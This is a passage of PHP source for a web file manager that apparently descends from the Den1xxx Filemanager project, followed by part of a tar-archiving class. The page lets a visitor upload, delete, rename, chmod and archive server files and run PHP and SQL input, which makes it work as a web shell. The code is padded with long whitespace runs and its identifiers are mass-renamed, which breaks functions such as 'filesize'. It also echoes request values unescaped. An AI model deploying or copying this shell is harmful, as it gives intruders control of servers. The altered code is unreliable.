                                                                              
            <input type="submit" name="save" value="<?=__('Submit')?>">
                                                                                     
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
                              
    </td>

</tr>

</table>
                                                                                         
<?php

echo $auth['script'];
                          
} elseif(!empty($_REQUEST['rights'])){
	                 if(!empty($_REQUEST['save'])) {
	                     if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))

	                 	                 $msg .= (__('File updated')); 
                                     
	                 	                 else $msg .= (__('Error occurred'));

	                 }

	                 clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;

    $backlink = $url_inc . '&path=' . $path;
                                                                                       
?>

<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>

    <td class="row1">
        <?=$msg?>
                                                          
	                 </td>




</tr>

<tr>

    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>

	                 </td>

</tr>

<tr>
    <td class="row1" align="center">

        <form name="form1" method="post" action="<?=$link?>">

           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>

            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>

        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>

</tr>

</table>

<?php
                                                                                             
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {

	                 if(!empty($_REQUEST['save'])) {
                                                                                     
	                     rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);

	                 	                 $msg .= (__('File updated'));

	                 	                 $_REQUEST['rename'] = $_REQUEST['newname'];

	                 }

	                 clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
                        
    $backlink = $url_inc . '&path=' . $path;



?>
<table class="whole">
<tr>

    <th><?=__('File manager').' - '.$path?></th>

</tr>
                                                                                                  
<tr>
    <td class="row1">

        <?=$msg?>

	                 </td>
                                                                                                   
</tr>
<tr>
    <td class="row1">

        <a href="<?=$backlink?>"><?=__('Back')?></a>
                                                                                               
	                 </td>

</tr>
                                         
<tr>

    <td class="row1" align="center">

        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>

            <input type="submit" name="save" value="<?=__('Submit')?>">

        </form>
                                             
    </td>

</tr>

</table>
                                                                                         
<?php

} else {
                                                        
//Let's rock!
    $msg = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
                                                                  
        if(!empty($_FILES['upload']['name'])){

            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
                                         
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');

            } else {

	                 	                 	                 	                 $msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
                                                                                     
	                 	                 	                 }
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
                                                                              
        if(!fm_del_conjuntoArchivos(($path . $_REQUEST['delete']), true)) {
                                                                            
            $msg .= __('Error occurred');
        } else {
                                                                                                 
	                 	                 	                 $msg .= __('Deleted').' '.$_REQUEST['delete'];

	                 	                 }

	                 } elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {

        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                                
            $msg .= __('Error occurred');

        } else {

	                 	                 	                 $msg .= __('Created').' '.$_REQUEST['dirname'];
	                 	                 }

    } elseif(!empty($_POST['search_recursive'])) {

	                 	                 ini_set('max_execution_time', '0');
                                                                               
	                 	                 $search_data =  find_text_in_conjuntoArchivos($_POST['path'], $_POST['mask'], $_POST['search_recursive']);
                                                                                    
	                 	                 if(!empty($search_data)) {

	                 	                 	                 $msg .= __('Found in conjuntoArchivos').' ('.count($search_data).'):<br>';

	                 	                 	                 foreach ($search_data as $filename) {

	                 	                 	                 	                 $msg .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

	                 	                 	                 }
                             
	                 	                 } else {
	                 	                 	                 $msg .= __('Nothing founded');
	                 	                 }	                 

	                 } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
                                                                         
            $msg .= __('Error occurred');
        } else {
                                                                                            
	                 	                 	                 fclose($fp);

	                 	                 	                 $msg .= __('Created').' '.$_REQUEST['filename'];
                                                                          
	                 	                 }
    } elseif (isset($_GET['zip'])) {
                                                                
	                 	                 $source = base64_decode($_GET['zip']);

	                 	                 $destination = basename($source).'.zip';
	                 	                 set_time_limit(0);

	                 	                 $phar = new PharData($destination);
	                 	                 $phar->buildFromDirectory($source);
                                                                                             
	                 	                 if (is_file($destination))
                        
	                 	                 $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
                                                                 
	                 	                 '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
	                 	                 .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

	                 	                 else $msg .= __('Error occurred').': '.__('no conjuntoArchivos');
	                 } elseif (isset($_GET['gz'])) {

	                 	                 $source = base64_decode($_GET['gz']);
	                 	                 $archive = $source.'.tar';
                             
	                 	                 $destination = basename($source).'.tar';
                                                          
	                 	                 if (is_file($archive)) unlink($archive);
                                                                        
	                 	                 if (is_file($archive.'.gz')) unlink($archive.'.gz');

	                 	                 clearstatcache();

	                 	                 set_time_limit(0);
	                 	                 //die();
                                                                                                    
	                 	                 $phar = new PharData($destination);
	                 	                 $phar->buildFromDirectory($source);
                                                            
	                 	                 $phar->compress(Phar::GZ,'.tar.gz');

	                 	                 unset($phar);
                                                                                           
	                 	                 if (is_file($archive)) {

	                 	                 	                 if (is_file($archive.'.gz')) {

	                 	                 	                 	                 unlink($archive); 

	                 	                 	                 	                 $destination .= '.gz';
	                 	                 	                 }
                                                           

                                                                                          
	                 	                 	                 $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
	                 	                 	                 '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

	                 	                 	                 .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

	                 	                 } else $msg .= __('Error occurred').': '.__('no conjuntoArchivos');
                                                                  
	                 } elseif (isset($_GET['decompress'])) {
	                 	                 // $source = base64_decode($_GET['decompress']);
                                                                                      
	                 	                 // $destination = basename($source);

	                 	                 // $ext = end(explode(".", $destination));
	                 	                 // if ($ext=='zip' OR $ext=='gz') {

	                 	                 	                 // $phar = new PharData($source);

	                 	                 	                 // $phar->decompress();
                     
	                 	                 	                 // $base_file = str_replace('.'.$ext,'',$destination);

	                 	                 	                 // $ext = end(explode(".", $base_file));

	                 	                 	                 // if ($ext=='tar'){

	                 	                 	                 	                 // $phar = new PharData($base_file);
                                
	                 	                 	                 	                 // $phar->extractTo(dir($source));

	                 	                 	                 // }
                                                                     
	                 	                 // } 

	                 	                 // $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	                 } elseif (isset($_GET['gzfile'])) {
                         
	                 	                 $source = base64_decode($_GET['gzfile']);
                                                        
	                 	                 $archive = $source.'.tar';
                           
	                 	                 $destination = basename($source).'.tar';
	                 	                 if (is_file($archive)) unlink($archive);
                                             
	                 	                 if (is_file($archive.'.gz')) unlink($archive.'.gz');
                              
	                 	                 set_time_limit(0);

	                 	                 //echo $destination;
                                                             
	                 	                 $ext_arr = explode('.',basename($source));

	                 	                 if (isset($ext_arr[1])) {
                                        
	                 	                 	                 unset($ext_arr[0]);
                                                                                   
	                 	                 	                 $ext=implode('.',$ext_arr);

	                 	                 } 
	                 	                 $phar = new PharData($destination);

	                 	                 $phar->addFile($source);

	                 	                 $phar->compress(Phar::GZ,$ext.'.tar.gz');

	                 	                 unset($phar);
                                                                                  
	                 	                 if (is_file($archive)) {

	                 	                 	                 if (is_file($archive.'.gz')) {

	                 	                 	                 	                 unlink($archive); 

	                 	                 	                 	                 $destination .= '.gz';
	                 	                 	                 }

	                 	                 	                 $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
                                                       
	                 	                 	                 '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

	                 	                 	                 .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
                                                                  
	                 	                 } else $msg .= __('Error occurred').': '.__('no conjuntoArchivos');
	                 }
?>
<table class="whole" id="header_table" >

<tr>

    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>

<?php if(!empty($msg)){ ?>
<tr>

	                 <td colspan="2" class="row2"><?=$msg?></td>
                                                                         
</tr>

<?php } ?>

<tr>

    <td class="row2">
                              
	                 	                 <table>

	                 	                 	                 <tr>

	                 	                 	                 <td>

	                 	                 	                 	                 <?=fm_home()?>

	                 	                 	                 </td>
                                                                                                 
	                 	                 	                 <td>

	                 	                 	                 <?php if(!empty($fm_config['make_directory'])) { ?>
	                 	                 	                 	                 <form method="post" action="<?=$url_inc?>">
                                                                              
	                 	                 	                 	                 <input type="hidden" name="path" value="<?=$path?>" />
	                 	                 	                 	                 <input type="text" name="dirname" size="15">
	                 	                 	                 	                 <input type="submit" name="mkdir" value="<?=__('Make directory')?>">
                                                                   
	                 	                 	                 	                 </form>
                                                 
	                 	                 	                 <?php } ?>
                                                                                           
	                 	                 	                 </td>
	                 	                 	                 <td>

	                 	                 	                 <?php if(!empty($fm_config['new_file'])) { ?>
	                 	                 	                 	                 <form method="post" action="<?=$url_inc?>">

	                 	                 	                 	                 <input type="hidden" name="path"     value="<?=$path?>" />

	                 	                 	                 	                 <input type="text"   name="filename" size="15">
	                 	                 	                 	                 <input type="submit" name="mkfile"   value="<?=__('New file')?>">

	                 	                 	                 	                 </form>
	                 	                 	                 <?php } ?>

	                 	                 	                 </td>
	                 	                 	                 <td>

	                 	                 	                 	                 <form  method="post" action="<?=$url_inc?>" style="display:inline">

	                 	                 	                 	                 <input type="hidden" name="path" value="<?=$path?>" />
                            
	                 	                 	                 	                 <input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">

	                 	                 	                 	                 <input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">

	                 	                 	                 	                 <input type="submit" name="search" value="<?=__('Search')?>">
	                 	                 	                 	                 </form>

	                 	                 	                 </td>

	                 	                 	                 <td>
	                 	                 	                 <?=fm_run_input('php')?>

	                 	                 	                 </td>

	                 	                 	                 <td>

	                 	                 	                 <?=fm_run_input('sql')?>

	                 	                 	                 </td>
	                 	                 	                 </tr>
	                 	                 </table>
    </td>
                                                                                     
    <td class="row3">

	                 	                 <table>

	                 	                 <tr>
                                                                  
	                 	                 <td>
	                 	                 <?php if (!empty($fm_config['upload_file'])) { ?>

	                 	                 	                 <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">

	                 	                 	                 <input type="hidden" name="path" value="<?=$path?>" />

	                 	                 	                 <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
                                                                                                  
	                 	                 	                 <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />

	                 	                 	                 <input type="submit" name="test" value="<?=__('Upload')?>" />

	                 	                 	                 </form>

	                 	                 <?php } ?>
	                 	                 </td>
                        
	                 	                 <td>
                                       
	                 	                 <?php if ($auth['authorize']) { ?>

	                 	                 	                 <form action="" method="post">&nbsp;&nbsp;&nbsp;
	                 	                 	                 <input name="quit" type="hidden" value="1">

	                 	                 	                 <?=__('Hello')?>, <?=$auth['login']?>

	                 	                 	                 <input type="submit" value="<?=__('Quit')?>">

	                 	                 	                 </form>
                                                                 
	                 	                 <?php } ?>

	                 	                 </td>
                                                   
	                 	                 <td>

	                 	                 <?=fm_lang_form($language)?>
                                                                       
	                 	                 </td>

	                 	                 <tr>
                                   
	                 	                 </table>

    </td>
</tr>
                                                      
</table>
                                                                                        
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">

<thead>
                                       
<tr> 

    <th style="white-space:nowrap"> <?=__('Filename')?> </th>

    <th style="white-space:nowrap"> <?=__('Size')?> </th>

    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>

    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>

</tr>

</thead>
                                                                                          
<tbody>

<?php
                                                                                                 
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
                                                                                 
$conjuntoArchivos = array();
foreach ($elements as $file){
                                                                         
    if(@is_dir($path . $file)){
                                                                                                 
        $dirs[] = $file;

    } else {

        $conjuntoArchivos[] = $file;

    }
}
natsort($dirs); natsort($conjuntoArchivos);

$elements = array_merge($dirs, $conjuntoArchivos);


                              
foreach ($elements as $file){
    $filename = $path . $file;

    $filedata = @stat($filename);
    if(@is_dir($filename)){

	                 	                 $filedata[7] = '';

	                 	                 if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
                                           
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';

        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
                                                                                            
	                 	                 $arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
                        
        $style = 'row2';

	                 	                  if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
                                                               
    } else {

	                 	                 $link = 

	                 	                 	                 $fm_config['show_img']&&@getimagesize($filename) 

	                 	                 	                 ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''

	                 	                 	                 . fm_img_link($filename)
	                 	                 	                 .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'

	                 	                 	                 : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';

	                 	                 $e_arr = explode(".", $file);
	                 	                 $ext = end($e_arr);

        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);

	                 	                 $arlink = in_array($ext,array('zip','gz','tar')) 
                                  
	                 	                 ? ''
                                 
	                 	                 : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));

        $style = 'row1';

	                 	                 $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }

    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
                                                                          
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
                                                                         
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>

    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>

    <td><?=$rightstext?></td>
                                                            
    <td><?=$deletelink?></td>

    <td><?=$renamelink?></td>

    <td><?=$loadlink?></td>

    <td><?=$arlink?></td>

</tr>
                               
<?php
    }
}

?>
</tbody>
</table>

<div class="row3"><?php

	                 $mtime = explode(' ', microtime()); 
                                                                             
	                 $totaltime = $mtime[0] + $mtime[1] - $starttime; 

	                 echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	                 if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
                                                                                             
	                 if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();

	                 if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	                 if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';

	                 if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
                                                                                      
	                 if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	                 if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	                 ?>
</div>
                                                                  
<script type="text/javascript">

function download_xls(filename, text) {

	                 var element = document.createElement('a');

	                 element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);

	                 element.setAttribute('download', filename);
	                 element.style.display = 'none';

	                 document.body.appendChild(element);

	                 element.click();
	                 document.body.removeChild(element);

}


function base64_encode(m) {
	                 for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {

	                 	                 c = m.charCodeAt(l);

	                 	                 if (128 > c) d = 1;

	                 	                 else

	                 	                 	                 for (d = 2; c >= 2 << 5 * d;) ++d;

	                 	                 for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
                                                
	                 }

	                 b && (g += k[f << 6 - b]);
                                                                           
	                 return g
                                                    
}




var tableToExcelData = (function() {

    var uri = 'data:application/vnd.ms-excel;base64,',

    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',

    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {

                return c[p];

            })
                                                               
        }

    return function(table, name) {

        if (!table.nodeType) table = document.getElementById(table)

        var ctx = {

            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
                                                             
        }

	                 	                 t = new Date();
                                                                                           
	                 	                 filename = 'fm_' + t.toISOString() + '.xls'
                                 
	                 	                 download_xls(filename, base64_encode(format(template, ctx)))

    }
                                                                                                  
})();

var table2Excel = function () {


                               
    var ua = window.navigator.userAgent;
                                                         
    var msie = ua.indexOf("MSIE ");


                                                                                    
	                 this.CreateExcelSheet = 

	                 	                 function(el, name){
	                 	                 	                 if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer


                                                                         
	                 	                 	                 	                 var x = document.getElementById(el).rows;


	                 	                 	                 	                 var xls = new ActiveXObject("Excel.Application");


                                               
	                 	                 	                 	                 xls.visible = true;

	                 	                 	                 	                 xls.Workbooks.Add
	                 	                 	                 	                 for (i = 0; i < x.length; i++) {
	                 	                 	                 	                 	                 var y = x[i].cells;
                                                            

                                                                    
	                 	                 	                 	                 	                 for (j = 0; j < y.length; j++) {

	                 	                 	                 	                 	                 	                 xls.Cells(i + 1, j + 1).Value = y[j].innerText;

	                 	                 	                 	                 	                 }
                                                                 
	                 	                 	                 	                 }
                                                                            
	                 	                 	                 	                 xls.Visible = true;
                                                                                                 
	                 	                 	                 	                 xls.UserControl = true;

	                 	                 	                 	                 return xls;
	                 	                 	                 } else {
                                                        
	                 	                 	                 	                 tableToExcelData(el, name);
                                                                                              
	                 	                 	                 }

	                 	                 }

}
</script>
                                                                         
</body>

</html>



<?php
//Ported from ReloadCMS project http://reloadcms.com
                      
class archiveTar {

	                 var $nombrePaquete = '';

	                 var $archivoTemporal = 0;

	                 var $posicionArchivo = 0;
                                         
	                 var $estaComprimido = true;
	                 var $registrosErrores = array();

	                 var $conjuntoArchivos = array();
	                 
	                 function __construct(){
                                                            
	                 	                 if (!isset($this->registrosErrores)) $this->registrosErrores = array();

	                 }
                                       
	                 

	                 function crearPaquete($file_list){

	                 	                 $result = false;

	                 	                 if (file_exists($this->nombrePaquete) && is_file($this->nombrePaquete)) 	                 $newArchive = false;

	                 	                 else $newArchive = true;
                     
	                 	                 if ($newArchive){

	                 	                 	                 if (!$this->abrirArchivoParaEscritura()) return false;
                         
	                 	                 } else {
                                                
	                 	                 	                 if (conjuntoArchivosize($this->nombrePaquete) == 0)	                 return $this->abrirArchivoParaEscritura();
                                                    
	                 	                 	                 if ($this->estaComprimido) {
                          
	                 	                 	                 	                 $this->cerrarArchivoTemporal();
	                 	                 	                 	                 if (!rename($this->nombrePaquete, $this->nombrePaquete.'.tmp')){

	                 	                 	                 	                 	                 $this->registrosErrores[] = __('Cannot rename').' '.$this->nombrePaquete.__(' to ').$this->nombrePaquete.'.tmp';
                                                             
	                 	                 	                 	                 	                 return false;
	                 	                 	                 	                 }

	                 	                 	                 	                 $tmpArchive = gzopen($this->nombrePaquete.'.tmp', 'rb');

	                 	                 	                 	                 if (!$tmpArchive){

	                 	                 	                 	                 	                 $this->registrosErrores[] = $this->nombrePaquete.'.tmp '.__('is not readable');

	                 	                 	                 	                 	                 rename($this->nombrePaquete.'.tmp', $this->nombrePaquete);

	                 	                 	                 	                 	                 return false;

	                 	                 	                 	                 }

	                 	                 	                 	                 if (!$this->abrirArchivoParaEscritura()){

	                 	                 	                 	                 	                 rename($this->nombrePaquete.'.tmp', $this->nombrePaquete);
                                                                      
	                 	                 	                 	                 	                 return false;
                                              
	                 	                 	                 	                 }

	                 	                 	                 	                 $buffer = gzread($tmpArchive, 512);

	                 	                 	                 	                 if (!gzeof($tmpArchive)){
	                 	                 	                 	                 	                 do {

	                 	                 	                 	                 	                 	                 $binaryData = pack('a512', $buffer);

	                 	                 	                 	                 	                 	                 $this->guardarSegmentoDatos($binaryData);
	                 	                 	                 	                 	                 	                 $buffer = gzread($tmpArchive, 512);

	                 	                 	                 	                 	                 }

	                 	                 	                 	                 	                 while (!gzeof($tmpArchive));
                             
	                 	                 	                 	                 }

	                 	                 	                 	                 gzclose($tmpArchive);
	                 	                 	                 	                 unlink($this->nombrePaquete.'.tmp');
                                         
	                 	                 	                 } else {
                                                                                                
	                 	                 	                 	                 $this->archivoTemporal = fopen($this->nombrePaquete, 'r+b');
	                 	                 	                 	                 if (!$this->archivoTemporal)	                 return false;

	                 	                 	                 }

	                 	                 }
                                                                        
	                 	                 if (isset($file_list) && is_array($file_list)) {
	                 	                 if (count($file_list)>0)
	                 	                 	                 $result = $this->empaquetarArchivosEnPaquete($file_list);
                                                                    
	                 	                 } else $this->registrosErrores[] = __('No file').__(' to ').__('Archive');
	                 	                 if (($result)&&(is_resource($this->archivoTemporal))){
	                 	                 	                 $binaryData = pack('a512', '');
	                 	                 	                 $this->guardarSegmentoDatos($binaryData);
	                 	                 }

	                 	                 $this->cerrarArchivoTemporal();
	                 	                 if ($newArchive && !$result){
                                                                                          
	                 	                 $this->cerrarArchivoTemporal();

	                 	                 unlink($this->nombrePaquete);

	                 	                 }

	                 	                 return $result;
	                 }



	                 function desempaquetarArchivos($path){

	                 	                 $fileName = $this->nombrePaquete;
                                                            
	                 	                 if (!$this->estaComprimido){
	                 	                 	                 if (file_exists($fileName)){

	                 	                 	                 	                 if ($fp = fopen($fileName, 'rb')){

	                 	                 	                 	                 	                 $data = fread($fp, 2);

	                 	                 	                 	                 	                 fclose($fp);

	                 	                 	                 	                 	                 if ($data == '\37\213'){
                                                       
	                 	                 	                 	                 	                 	                 $this->estaComprimido = true;
	                 	                 	                 	                 	                 }

	                 	                 	                 	                 }
	                 	                 	                 }

	                 	                 	                 elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->estaComprimido = true;

	                 	                 } 

	                 	                 $result = true;

	                 	                 if ($this->estaComprimido) $this->archivoTemporal = gzopen($fileName, 'rb');

	                 	                 else $this->archivoTemporal = fopen($fileName, 'rb');

	                 	                 if (!$this->archivoTemporal){

	                 	                 	                 $this->registrosErrores[] = $fileName.' '.__('is not readable');
                                                        
	                 	                 	                 return false;

	                 	                 }

	                 	                 $result = $this->unempaquetarArchivosEnPaquete($path);

	                 	                 	                 $this->cerrarArchivoTemporal();
                                                     
	                 	                 return $result;
	                 }


                                      
	                 function mostrarListaErrores	                 ($message = '') {

	                 	                 $Errors = $this->registrosErrores;
                                                                  
	                 	                 if(count($Errors)>0) {
                                                                         
	                 	                 if (!empty($message)) $message = ' ('.$message.')';

	                 	                 	                 $message = __('Error occurred').$message.': <br/>';

	                 	                 	                 foreach ($Errors as $value)

	                 	                 	                 	                 $message .= $value.'<br/>';

	                 	                 	                 return $message;	                 
                                                                        
	                 	                 } else return '';

	                 	                 
                                                     
	                 }

	                 

	                 function empaquetarArchivosEnPaquete($file_array){
                                                        
	                 	                 $result = true;
	                 	                 if (!$this->archivoTemporal){

	                 	                 	                 $this->registrosErrores[] = __('Invalid file descriptor');

	                 	                 	                 return false;
	                 	                 }
                                                                                  
	                 	                 if (!is_array($file_array) || count($file_array)<=0)
                                                   
          return true;
	                 	                 for ($i = 0; $i<count($file_array); $i++){

	                 	                 	                 $filename = $file_array[$i];
                                                                   
	                 	                 	                 if ($filename == $this->nombrePaquete)
	                 	                 	                 	                 continue;
	                 	                 	                 if (strlen($filename)<=0)

	                 	                 	                 	                 continue;

	                 	                 	                 if (!file_exists($filename)){
	                 	                 	                 	                 $this->registrosErrores[] = __('No file').' '.$filename;
                                                                    
	                 	                 	                 	                 continue;
                        
	                 	                 	                 }
	                 	                 	                 if (!$this->archivoTemporal){
	                 	                 	                 $this->registrosErrores[] = __('Invalid file descriptor');
	                 	                 	                 return false;
	                 	                 	                 }

	                 	                 if (strlen($filename)<=0){
	                 	                 	                 $this->registrosErrores[] = __('Filename').' '.__('is incorrect');;

	                 	                 	                 return false;

	                 	                 }
	                 	                 $filename = str_replace('\\', '/', $filename);

	                 	                 $keep_filename = $this->generarRutaValidaArchivo($filename);

	                 	                 if (is_file($filename)){

	                 	                 	                 if (($file = fopen($filename, 'rb')) == 0){
                                                                                               
	                 	                 	                 	                 $this->registrosErrores[] = __('Mode ').__('is incorrect');
	                 	                 	                 }

	                 	                 	                 	                 if(($this->posicionArchivo == 0)){

	                 	                 	                 	                 	                 if(!$this->insertarCabeceraArchivo($filename, $keep_filename))
	                 	                 	                 	                 	                 	                 return false;
                                                                                       
	                 	                 	                 	                 }
	                 	                 	                 	                 while (($buffer = fread($file, 512)) != ''){
	                 	                 	                 	                 	                 $binaryData = pack('a512', $buffer);
	                 	                 	                 	                 	                 $this->guardarSegmentoDatos($binaryData);

	                 	                 	                 	                 }

	                 	                 	                 fclose($file);
	                 	                 }	                 else $this->insertarCabeceraArchivo($filename, $keep_filename);

	                 	                 	                 if (@is_dir($filename)){

	                 	                 	                 	                 if (!($handle = opendir($filename))){
	                 	                 	                 	                 	                 $this->registrosErrores[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
                                                                            
	                 	                 	                 	                 	                 continue;

	                 	                 	                 	                 }
                                     
	                 	                 	                 	                 while (false !== ($dir = readdir($handle))){
                                                                              
	                 	                 	                 	                 	                 if ($dir!='.' && $dir!='..'){

	                 	                 	                 	                 	                 	                 $file_array_tmp = array();
                           
	                 	                 	                 	                 	                 	                 if ($filename != '.')
	                 	                 	                 	                 	                 	                 	                 $file_array_tmp[] = $filename.'/'.$dir;

